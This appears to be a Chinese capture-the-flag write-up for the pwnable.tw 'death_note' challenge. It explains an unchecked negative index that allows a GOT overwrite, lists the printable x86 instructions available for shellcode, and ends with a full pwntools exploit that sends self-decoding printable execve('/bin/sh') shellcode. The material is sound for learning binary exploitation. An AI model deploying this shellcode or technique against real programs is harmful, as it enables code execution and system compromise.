主要是写printable shellcode

1
2
3
4
5
6
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

洞很简单.每个index都没有检查下限,因此可以为负数,从而覆盖got函数为shellcode.

打算覆盖free.

初始寄存器状态:

1
2
3
4
5
6
7
8
9
10
11
'''
*EAX 0x9a99008 ◂— 'jhh///sh/bin'
EBX 0x0
*ECX 0x0
*EDX 0x0
EDI 0xf7712000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x1d /* 0x1b1db0 */
ESI 0xf7712000 (_GLOBAL_OFFSET_TABLE_) ◂— mov al, 0x1d /* 0x1b1db0 */
EBP 0xffbaad08 —▸ 0xffbaad18 ◂— 0x0
*ESP 0xffbaacdc —▸ 0x8048878 (del_note+81) ◂— add esp, 0x10
*EIP 0x8048490 (free@plt) ◂— jmp dword ptr [0x804a014]
'''

关于printable shellcode,网上找到如下资料

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
1.数据传送:
push/pop eax...
pusha/popa

2.算术运算:
inc/dec eax...
sub al, 立即数
sub byte ptr [eax... + 立即数], al dl...
sub byte ptr [eax... + 立即数], ah dh...
sub dword ptr [eax... + 立即数], esi edi
sub word ptr [eax... + 立即数], si di
sub al dl..., byte ptr [eax... + 立即数]
sub ah dh..., byte ptr [eax... + 立即数]
sub esi edi, dword ptr [eax... + 立即数]
sub si di, word ptr [eax... + 立即数]

3.逻辑运算:
and al, 立即数
and dword ptr [eax... + 立即数], esi edi
and word ptr [eax... + 立即数], si di
and ah dh..., byte ptr [ecx edx... + 立即数]
and esi edi, dword ptr [eax... + 立即数]
and si di, word ptr [eax... + 立即数]

xor al, 立即数
xor byte ptr [eax... + 立即数], al dl...
xor byte ptr [eax... + 立即数], ah dh...
xor dword ptr [eax... + 立即数], esi edi
xor word ptr [eax... + 立即数], si di
xor al dl..., byte ptr [eax... + 立即数]
xor ah dh..., byte ptr [eax... + 立即数]
xor esi edi, dword ptr [eax... + 立即数]
xor si di, word ptr [eax... + 立即数]

4.比较指令:
cmp al, 立即数
cmp byte ptr [eax... + 立即数], al dl...
cmp byte ptr [eax... + 立即数], ah dh...
cmp dword ptr [eax... + 立即数], esi edi
cmp word ptr [eax... + 立即数], si di
cmp al dl..., byte ptr [eax... + 立即数]
cmp ah dh..., byte ptr [eax... + 立即数]
cmp esi edi, dword ptr [eax... + 立即数]
cmp si di, word ptr [eax... + 立即数]

5.转移指令:
push 56h
pop eax
cmp al, 43h
jnz lable

<=> jmp lable

6.交换al, ah
push eax
xor ah, byte ptr [esp] // ah ^= al
xor byte ptr [esp], ah // al ^= ah
xor ah, byte ptr [esp] // ah ^= al
pop eax

7.清零:
push 44h
pop eax
sub al, 44h ; eax = 0

push esi
push esp
pop eax
xor [eax], esi ; esi = 0

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 1

if local:
cn = process('./death_note')
else:
cn = remote('chall.pwnable.tw', 10201)


def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()


def add(idx,con):
cn.sendline('1')
cn.recvuntil('Index :')
cn.sendline(str(idx))
cn.recvuntil('Name :')
cn.sendline(con)

def dele(idx):
cn.sendline('3')
cn.recvuntil('Index :')
cn.sendline(str(idx))

pay = asm('''
/* execve('/bin///sh',0,0)*/

push 0x68
push 0x732f2f2f
push 0x6e69622f

push esp
pop ebx /*set ebx to '/bin///sh'*/


push edx
dec edx
dec edx /*set dl to 0xfe*/


xor [eax+32],dl /*decode int 0x80*/
xor [eax+33],dl /*decode int 0x80*/

inc edx
inc edx /*recover edx to 0*/

push edx
pop ecx /*set ecx to 0*/

push 0x40
pop eax
xor al,0x4b /*set eax to 0xb*/

/*int 0x80*/
''')+'\x33\x7e'

add(-19,pay)
#z('b*0x08048490\nc')
dele(-19)

cn.interactive()